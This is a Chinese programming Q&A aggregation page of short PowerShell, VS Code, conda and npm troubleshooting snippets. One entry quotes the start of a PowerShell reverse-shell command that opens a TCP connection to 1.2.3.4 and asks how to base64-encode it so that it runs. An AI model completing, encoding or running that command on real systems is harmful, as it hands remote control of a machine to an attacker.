草庐IT

powershell-cmdlet

全部标签

解决!!!“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”启动失败(退出代码: 4294901760)。

解决!!!“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”启动失败(退出代码:4294901760)。当咱们打开VisualStudioCode里面的终端时会出现下面的提示:这是因为终端的窗口"terminal.integrated.shell.windows":"C:/WINDOWS/System32/cmd.exe"没有弄到设置里面去我们可以点击【文件】(file)下面的【首选项】(Preferences)里面的【设置】(Settings)点击右上角的OpenSettings(JSON)在最后一个反括号里面加一句“ter

conda : 无法将“conda”项识别为 cmdlet、函数、脚本文件或可运行程序的名称

问题描述conda:无法将“conda”项识别为cmdlet、函数、脚本文件或可运行程序的名称。问题出现情况通常是刚安装的vscode或者pycharm因为环境变量未设置,导致无法使用关键字。分析原因未添加正确的环境变量导致系统无法识别这类软件中的关键词。解决办法增加以下三个环境变量就可以了:Path*to*\Anaconda3Path*to*\Anaconda3\ScriptsPath*to*\Anaconda3\Library\bin

记录解决“无法将“C:......conda.exe”项识别为 cmdlet、函数、脚本文件或可运行程序的名称”以及“表达式或语句中包含意外的标记”的系列问题(VSCode开发环境)

 一、Conda.exe无法正常识别的问题:今天安装完VSCode,调试代码时发现终端提示以下报错信息,网上查了相关帖子,并依照参考1的方式进行了以下调试:  参考其它博客(参考2)说是环境变量没有添加,但是我试了之后发现不是这个问题。原因其实就是找不到途中说的conda.exe文件,所以需要进入上图红字第三行的路径,通过【Ctrl+单击】将profile.ps1这个文件打开,然后会看到启动powershell时默认寻找conda.exe的路径还跟之前一样,没有修改  只需将第4行换成我们目前的conda.exe路径即可,在我的情况下是以下路径: (VSCode记得手动保存),然后再启动pow

powershell转换tobase64string $ string编码错误

当我尝试在PowerShell中转换以下代码时:[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-ObjectNet.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b..Etc..Etc..Etc结果base64编码的字符串执行失败。我明白了"**+**=(New-ObjectNet.Sockets.TCPClient"没有$SM。事实证明“+”而不是$sm?如何将其编码以将$包括在我的代码中以正确运行它?看答案Mathi

需要PowerShell脚本来列出所有文件名,并在目录中和分区中列出文件。

以下脚本仅针对指定目录产生结果。我需要在目录和任何子目录中输出所有具有其名称和大小的文件:Get-ChildItem-PathD:\Files\17-NRELBLD-02-P1.11\SERVICES\DCFORMS\–Recurse-File|Select-ObjectName,@{Name="MB";Expression={[math]::Round($_.Length/1kb)}}|Export-Csv-NoTypeInformation-PathD:\Files\Vij\Result.csv看答案你必须使用-附加在导出CSV中,您可以在Get-Childitem喜欢:Get-Child

cmd有效,vscode无效——node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。

分为两种情况,第一种是在cmd中能够查看版本而vscode中不行,第二种是在cmd中也无法查看。第一步:在cmd中测试1.在搜索中输入“cmd”,打开命令提示符2.输入下面代码,回车node-vnpm-v3.如果能如图显示版本号,说明安装没问题,符合第一种情况。如果这里也报错,则符合第二种情况第二步:解决方法情况1:cmd有效,vscode无效将vscode以管理员方式打开即可右键vscode图标–>属性-->兼容性-->将“以管理员身份运行程序”选中。设置完重新进入vscode,再次尝试即可。情况2:cmd无效有很多博主写过解决方案,这里附上链接供参考node:无法将“node”项识别为cm

VScode运行错误:【npm : 无法将“npm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后 再试一次。】

bug描述VScode运行错误:【npm:无法将“npm”项识别为cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。】bug截图解决1、安装node.js进入官网下载|Node.js中文网双击运行刚刚下载的文件。![在这里插入图片描述](https://img-blog.csdnimg.cn/31b1d7e073844ae6bf116e8dbf3895fd.pn选择要装在哪个位置然后一直next,install,这样就好了,点击finish。2、在cmd中运行下列命令,检测node.js是否已经安装成功。3、重启VScode,运行命令

PowerShell脚本将在Windows 7和Windows 10中使用一个脚本设置新的DNS设置

需要帮助创建将与Windows7(PowerShell2.0)和Windows10(PowerShell5.0)一起使用的单个PowerShell脚本,以便通过GPO推动我。*我们没有DHCP的域名,我们正在从MPLS路由器获得IP租赁...到目前为止,我已经使用Windows7(非Powershell)的批量文件完成了以下内容@ECHOOFFsetvardns1=1.1.1.1setvardns2=2.2.2.2ECHOSettingPrimaryDNSnetshintipsetdnsname="LocalAreaConnection"source=staticaddr=%vardns1%E

Powershell 5类中的PSBOUNDPARAMETER

是否可以在PowerShell5类中使用或使用$PSBOUNDPARAMETER?例如,我想这样做:classfoo{[void]baz($i){}[void]bar($i){$this.baz(@PSBoundParameters)}}看答案确认,似乎不可能。

windows - 运行对话框执行 powershell 命令

有没有办法在打开运行框(Windows+R)时运行powershell命令?例如,我只想开始输入get-process并让它在powershell中执行该命令并显示结果(基本上是打开它而不是关闭它)。我知道您可以键入“powershell/noexitget-process”来实现此目的,但我想知道“运行”框是否有办法意识到它是一个powershell命令,而我只需键入以下命令:get-过程。 最佳答案 不,没有办法让Windows+R直接理解PowerShell命令。一种解决方法是创建一个包含如下内容的批处理文件:@echooff